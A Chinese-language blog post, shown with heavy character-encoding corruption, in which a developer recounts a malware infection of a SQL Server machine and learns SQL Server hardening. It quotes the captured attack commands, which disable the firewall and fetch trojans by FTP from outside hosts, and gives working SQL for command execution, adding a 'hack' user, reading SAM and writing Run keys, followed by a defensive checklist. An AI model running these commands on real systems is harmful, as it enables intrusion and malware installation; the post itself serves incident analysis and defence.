自己的開發(fā)機(jī)經(jīng)歷了兩次的中毒現(xiàn)像.每次中毒的現(xiàn)像,都是sqlserver.exe進(jìn)程去執(zhí)行cmd.com進(jìn)程,然后生成*.sys與*.bat兩個(gè)文件,然后去使用ftp.exe去下載木馬下載器,然后殺毒軟件開始報(bào)警了. 下面是cmd.com執(zhí)行指令內(nèi)容 "C:"WINDOWS"system32"cmd.com" /c net1 s
自己的開發(fā)機(jī)經(jīng)歷了兩次的中毒現(xiàn)像.每次中毒的現(xiàn)像,都是sqlserver.exe進(jìn)程去執(zhí)行cmd.com進(jìn)程,然后生成*.sys與*.bat兩個(gè)文件,然后去使用ftp.exe去下載木馬下載器,然后殺毒軟件開始報(bào)警了.
下面是cmd.com執(zhí)行指令內(nèi)容
"C:"WINDOWS"system32"cmd.com" /c net1 stop sharedaccess&echo open 218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo 11>>dboy.sys&echo get pc.exe C:"boots.exe>>dboy.sys&echo bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy C:"boots.exeC:"WINDOWS"system32"inf"test.exe&echo start start /high "" C:"WINDOWS"system32"inf"test.exe&echo start C:"boots.exe>>dboy.bat&echo start C:"boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del %0>>dboy.bat&dboy.bat
"C:"WINDOWS"system32"cmd.com" /c sc stop sharedaccess&echo open ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo if>>dboy1.sys&echo get dboy1.exe C:"Windows"tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo ftp -s:dboy1.sys>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo del dboy1.sys>>system1.bat&echo del %0>>system1.bat&system1.bat
第一次中毒,之后,就對(duì)sql server進(jìn)行了加強(qiáng),刪除了"xp_cmdshell"這個(gè)sql server中最不安全的擴(kuò)展存儲(chǔ)過程.不過,好了沒一個(gè)月,又來中一次.
這一次,我檢查了數(shù)據(jù)庫日志,xp_cmdshell并沒有恢復(fù),不過卻在日志在發(fā)現(xiàn)了sp_oacreate與sp_oamethod兩個(gè)存儲(chǔ)過程的執(zhí)行日志.
于是上網(wǎng)學(xué)習(xí),把自己的學(xué)習(xí)的一些東西記錄下來:
1. 初級(jí)sql注入攻擊
初級(jí)黑客攻擊SQL Server時(shí),首先采用的方法是執(zhí)行master數(shù)據(jù)庫中的擴(kuò)展存儲(chǔ)過程xp_cmdshell命令來執(zhí)行一些指令,添加用戶,添加文件,添加木馬病毒等.
對(duì)付此類黑客只要禁用xp_cmdshell存儲(chǔ)過程就可以了.
xp_cmdshell是一個(gè)允許執(zhí)行任意的命令行命令的內(nèi)置的存儲(chǔ)過程。例如:
Exec master..xp_cmdshell 'dir'
將獲得SQLSERVER進(jìn)程的當(dāng)前工作目錄中的目錄列表。如圖:

Exec master..xp_cmdshell 'net user'
將提供服務(wù)器上所有用戶的列表。當(dāng)SQLSERVER正常以系統(tǒng)帳戶或域帳戶運(yùn)行時(shí),攻擊者可以做出更嚴(yán)重的危害。
從上面的兩個(gè)示例中可以看出xp_cmdshell的強(qiáng)大功能,功能的強(qiáng)大也意味著破壞性的強(qiáng)大.
一般情況下,xp_cmdshell對(duì)管理員來說也是不必要的,xp_cmdshell的消除不會(huì)對(duì)Server造成任何影響。
可以將xp_cmdshell消除:
Use Master
Exec sp_dropextendedproc 'xp_cmdshell'
Go
如果需要的話,可以把xp_cmdshell恢復(fù)回來:
Use Master
Exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Go
如果有必要可以把xplog70.dll這個(gè)文件也刪除了,記得做好備份.
sql 2005:
sql 2005默認(rèn)情況下是不能執(zhí)行xp_cmdshell存儲(chǔ)過程的,但這就安全了嗎?
開啟xp_cmdshell存儲(chǔ)過程的執(zhí)行權(quán)限
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
關(guān)閉xp_cmdshell存儲(chǔ)過程的執(zhí)行權(quán)限
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
刪除了xplog70.dll將影響到"企業(yè)管理器"的一部分功能,我碰到的是無法在"企業(yè)管理器"中查看數(shù)據(jù)庫服務(wù)器的屬性.
2.中級(jí)sql注入攻擊
我們進(jìn)行了上面這一步的操作之后,就可以防護(hù)住了sql server的安全了嗎?不行,這只能針對(duì)一些剛學(xué)習(xí)sql注入的菜鳥才可行的辦法,對(duì)于中鳥及老鳥可不行,他們的方法可多了.
現(xiàn)在讓我們來看一下中級(jí)注入的方法.
當(dāng)數(shù)據(jù)庫管理員禁用了xp_cmdshell同時(shí)刪除了xplog70.dll,也禁止了文件上傳功能,那么針對(duì)初級(jí)來說使用xp_cmdshell來進(jìn)行一些操作已經(jīng)不可行了.
但是微軟還提供了一些其他功能的存儲(chǔ)過程,可以讓中級(jí)黑客進(jìn)行入侵.
1) 利用OLE對(duì)象接口
SQL SERVER提供了一些函數(shù)訪問OLE對(duì)象,分別是sp_OACREATE和sp_OAMethod,
可以利用他們調(diào)用OLE控件,間接獲取一個(gè) shell。使用SP_OAcreate調(diào)用對(duì)象wscript。shell賦給變量@shell,然后使用SP_OAMETHOD調(diào)用@shell的屬性run執(zhí)行命令。
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user hack hack /add'
2) 開啟access的沙盒模式
在默認(rèn)情況下Jet數(shù)據(jù)引擎不支持select shell("net user ray ray /add")這樣的SQL語句,
但是開啟了JET引擎的沙盒模式后就可以執(zhí)行命令,
先利用xp_regwrite存儲(chǔ)過程改寫注冊(cè)表,然后利用 OpenRowSet訪問一個(gè)系統(tǒng)本身自帶的一個(gè)ACCESS數(shù)據(jù)庫文件,再執(zhí)行運(yùn)行命令的SQL語句。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare"Microsoft"Jet"4.0 "Engines','SandBoxMode','REG_DWORD',3
SandBoxmode值說明
默認(rèn)值為2,
0--表示始終禁用SandBoxmode模式,
1--表示對(duì)于非Acess應(yīng)用程序試用SandBoxmode模式,
2--表示對(duì)access應(yīng)用程序使用SandBoxmode模式,
3--則表示完全開啟安全設(shè)置。
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:"windows"system32"ias"ias.mdb','select shell("net user hack hack /add")');
3) 利用xp_regxxxxx之類的存儲(chǔ)過程寫注冊(cè)表項(xiàng)
這個(gè)方法只有sa賬戶或是sysadmin權(quán)限的帳戶才可以使用.
執(zhí)行
exec xp_regread ''HKEY_LOCAL_MACHINE'', ''SECURITY"SAM"Domains"Account'', ''F''
如果碰到一個(gè)粗心的管理員,說不定就能得到管理員的密碼.
加一個(gè)啟動(dòng)項(xiàng)什么的自然不在話下。
利用xp_regwrite寫注冊(cè)表項(xiàng),直接把要執(zhí)行的命令寫入RUN啟動(dòng)項(xiàng)。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE"Microsoft"Windows"currentversion"run','shell','REG_SZ','C:"windows"system32"cmd.exe /c net user hack hack /add'
如果有必要就把這些擴(kuò)展都刪除了
Xp_regaddmultistring (向注冊(cè)表中增加項(xiàng)目)
Xp_regdeletekey (從注冊(cè)表中刪除一個(gè)鍵)
Xp_regdeletevalue (從注冊(cè)表中刪除一個(gè)鍵值)
Xp_regenumvalues (列舉主鍵下的鍵值)
Xp_regread (讀去一個(gè)主鍵下的鍵值)
Xp_regremovemultistring (從注冊(cè)表中刪除項(xiàng)目)
Xp_regwrite (向注冊(cè)表中寫入數(shù)據(jù))
4 ) 利用SQL代理執(zhí)行命令
默認(rèn)情況下這個(gè)服務(wù)是關(guān)閉的.我們可以先利用xp_servicecontrol開啟SQLSERVERAGENT,然后建立個(gè)SQL計(jì)劃任務(wù),然后馬上運(yùn)行這個(gè)任務(wù)。
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
use msdb exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:"'
exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'
除了我舉的上面四種方式外,還有其他方式,不過我不太了解,我就不一一列舉了。
三、其他獲取系統(tǒng)信息
歷遍目錄
exec master.dbo.xp_dirtree 'c:"'
獲取子目錄
exec master.dbo.xp_subdirs 'c:"'
列舉可用的系統(tǒng)分區(qū)
exec master.dbo.xp_availablemedia
判斷目錄或文件是否存在
exec master..xp_fileexist 'c:"boot.ini'
等等,不一一列舉了.
四、高級(jí)注入技術(shù)
對(duì)于高級(jí)注入技術(shù),我在網(wǎng)上沒找到相關(guān)的學(xué)習(xí)資料,我想這些技術(shù)也應(yīng)該是在一小部分人群中傳播的。所以也就無從講起了。
五、防御SQL注入的一些要點(diǎn)與方法
1. 確認(rèn)已經(jīng)安裝了windows操作系統(tǒng)和SQL Server的最新補(bǔ)丁程序。
2. 評(píng)估并且選擇一個(gè)考慮到最大的安全性但是同時(shí)又不影響功能的網(wǎng)絡(luò)協(xié)議。 多協(xié)議是明智的選擇, 但是它有時(shí)不能在異種的環(huán)境中使用。
說明:如果可能請(qǐng)除去不需要的網(wǎng)絡(luò)協(xié)議。
3. 給 "sa" 和具有"sysadmin"權(quán)限的帳戶設(shè)定強(qiáng)壯的密碼來加強(qiáng)其安全性。至于什么是強(qiáng)壯的密碼呢,個(gè)人認(rèn)為是字母、數(shù)字、特殊字符的組合,不少八位字符。
4. 使用一個(gè)低特權(quán)用戶作為 SQL 服務(wù)器服務(wù)的查詢操作賬戶,不要用 LocalSystem 或sa。
這個(gè)低權(quán)限的帳戶應(yīng)該只有最小的權(quán)限和限制這個(gè)帳戶對(duì)SQL Server的查詢與存取操作。 用戶可以用最小權(quán)限查詢sql server中的很多東西。若非必須不要給予多余的權(quán)限。
注意:當(dāng)使用企業(yè)管理器做以上設(shè)置時(shí) , 文件,注冊(cè)表和使用者權(quán)利上的權(quán)限處理。
5. 確定所有的SQL服務(wù)器數(shù)據(jù),而且系統(tǒng)文件是裝置在 NTFS 分區(qū),且"目錄訪問控制"被應(yīng)用。
如果萬一某人得到對(duì)系統(tǒng)的存取操作權(quán)限,該層權(quán)限可以阻止入侵者破壞數(shù)據(jù),避免造成一場(chǎng)大災(zāi)難。
6.如果你不需要 xp_cmdshell 那請(qǐng)停用它。如果需要的話再把它增加回來。
其實(shí)這也好也不好 ————一個(gè)侵入者如果發(fā)現(xiàn)它不在了,也只需要把他加回來。考慮一下,可以除去在下面的 dll但是移除之前必須測(cè)試因?yàn)橛行ヾll同時(shí)被一些程序所用。
要找到其他的程序是否使用相同的 dll請(qǐng)進(jìn)行以下步驟:
首先得到該 dll:
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name=‘xp_cmdshell‘
其次,使用相同的 dll發(fā)現(xiàn)其他的擴(kuò)展儲(chǔ)存操作是否使用該dll:
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text=‘xplog70.dll‘
用戶可以用同樣的辦法處理下面步驟中其他你想去掉的進(jìn)程。
7. 如不需要就停用對(duì)象連接與嵌入自動(dòng)化儲(chǔ)存程序 ( 警告 - 當(dāng)這些儲(chǔ)存程序被停用的時(shí)候 , 一些企業(yè)管理器功能可能丟失). 這些存儲(chǔ)過程如下:
sp_OACreate
sp_OADestroy
sp_OAGetErrorInfo
sp_OAGetProperty
sp_OAMethod
sp_OASetProperty
sp_OAStop
如果你決定停用這些存儲(chǔ)過程,那么請(qǐng)給他們寫一個(gè)腳本這樣在以后你用到他們的時(shí)候你能夠把他們重新添加回來 。
8. 禁用你不需要的注冊(cè)表存儲(chǔ)過程。(同上面的警告)這些包括:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumvalues
xp_regremovemultistring
注意 :xp_regread/ xp_regwrite這兩個(gè)存儲(chǔ)過程的移除影響一些主要功能包括日志和SP的安裝,所以他們的移除不被推薦。
9.移除其他你認(rèn)為會(huì)造成威脅的系統(tǒng)儲(chǔ)存過程。 這種存儲(chǔ)過程是相當(dāng)多的,而且他們也會(huì)浪費(fèi)一些cpu時(shí)間。
小心不要首先在一個(gè)配置好的服務(wù)器上這樣做。首先在開發(fā)的機(jī)器上測(cè)試,確認(rèn)這樣不會(huì)影響到任何的系統(tǒng)功能。在下面是我們所推薦的有待你評(píng)估的一些列表:
sp_sdidebug
xp_availablemedia
xp_cmdshell
xp_deletemail
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_enumqueuedtasks
xp_eventlog
xp_findnextmsg
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logevent
xp_loginconfig
xp_logininfo
xp_makewebtask
xp_msver xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_readmail
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_sendmail
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sprintf
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_sscanf
xp_startmail
xp_stopmail
xp_subdirs
xp_unc_to_drive
xp_dirtree
10. 除去數(shù)據(jù)庫的guest賬戶,這樣可以把未經(jīng)許可的使用者排除在外。 例外情況是master和 tempdb 數(shù)據(jù)庫,因?yàn)閷?duì)他們guest帳戶是必需的。
11. 若非必須,請(qǐng)完全地禁用SQL郵件功能。它的存在使?jié)撛诘墓粽哌f送潛在的 trojans ,病毒或是簡單實(shí)現(xiàn)一個(gè)DOS攻擊成為可能
12. 記錄所有的用戶存取訪問情況。 從企業(yè)管理器做這些設(shè)定或通過以sa登陸進(jìn)入查詢分析器的下列各項(xiàng):
xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE" Microsoft"MSSQLServer"MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3
13. 建立一個(gè)計(jì)劃的任務(wù)運(yùn)行:
然后再重定向輸出到一個(gè)文本文件或電子郵件,因此你監(jiān)測(cè)失敗的登錄嘗試。
這也為系統(tǒng)管理員提供一個(gè)好的記錄攻擊的方法。 也有很多用來分析NT日志事件的第三者工具。
注意: 你可能需要將路徑換成你安裝SQL的路徑。
14. 設(shè)定非法訪問和登陸失敗日志警報(bào)。到 企業(yè)管理器中的"Manager SQL Server Messages "搜尋任何有關(guān)無權(quán)訪問的消息
( 從查找"login failed"和"denied"開始). 確定你所有感興趣的信息被記錄到事件日志。然后在這些信息上設(shè)定警報(bào) , 發(fā)送一個(gè)電子郵件或信息到一個(gè)能夠?qū)栴}及時(shí)響應(yīng)的操作員。
15. 經(jīng)常檢查組或角色全體會(huì)員并且確定用組分配權(quán)限,這樣你的審計(jì)工作能夠簡化。 確定當(dāng)你在的時(shí)候 , 公眾的組不能從系統(tǒng)表執(zhí)行選擇操作。
16. 花些時(shí)間審計(jì)用空密碼登陸的請(qǐng)求。 使用下面的代碼進(jìn)行空密碼檢查:
select
password ,*
from syslogins
where password is null
order by name
17. 檢查所有非sa用戶的存取進(jìn)程和擴(kuò)充存儲(chǔ)進(jìn)程的權(quán)限。 使用下面的查詢定期的查詢哪一個(gè)進(jìn)程有公眾存儲(chǔ)權(quán)限:
Use master
select sysobjects.name
from sysobjects,sysprotects
where sysprotects.uid=0
AND xtype 在 (‘X‘,‘P‘)
AND sysobjects.id=sysprotects.id
Order by name
18. 當(dāng)時(shí)用企業(yè)管理器的時(shí)候,使用整合的安全策略。 過去,企業(yè)管理器被發(fā)現(xiàn)在標(biāo)準(zhǔn)的安全模態(tài)中儲(chǔ)存 "sa" 密碼在注冊(cè)表的 plaintext 中。 注意: 即使你改變模態(tài),密碼也會(huì)留在注冊(cè)表中。
sql 2000:
使用 regedit 而且檢查鍵:
HKEY_USERS"{yourSID}"software"Microsoft"Microsoft SQL server"80"tool"SQLEW"registered server X"SQL server group
("SQL server組" 是默認(rèn)值但是你可能已建立用戶組因此相應(yīng)地改變其位置)
sql 2005已經(jīng)沒有在注冊(cè)表中寫sqlew這個(gè)鍵了.
19. 制定一個(gè)安全審核計(jì)劃,每月的一份安全報(bào)告,對(duì)IT主管可用的報(bào)表包括新的開發(fā)內(nèi)容中進(jìn)行的數(shù)據(jù)庫修改,成功的攻擊 , 備份保護(hù) , 和對(duì)象存取失敗統(tǒng)計(jì)。
20. 不要允許使用者交互式登陸到 SQL Server之上。這個(gè)規(guī)則適用任何的服務(wù)器。 一旦一個(gè)使用者能夠交互式進(jìn)入一個(gè)服務(wù)器之內(nèi),就有能用來獲得管理員的存取特權(quán)得到管理員權(quán)限。
最后就是,對(duì)方怎么得到我的開發(fā)機(jī)上的動(dòng)態(tài)IP的,這我怎么也沒想清楚.
聲明:本網(wǎng)頁內(nèi)容旨在傳播知識(shí),若有侵權(quán)等問題請(qǐng)及時(shí)與本網(wǎng)聯(lián)系,我們將在第一時(shí)間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com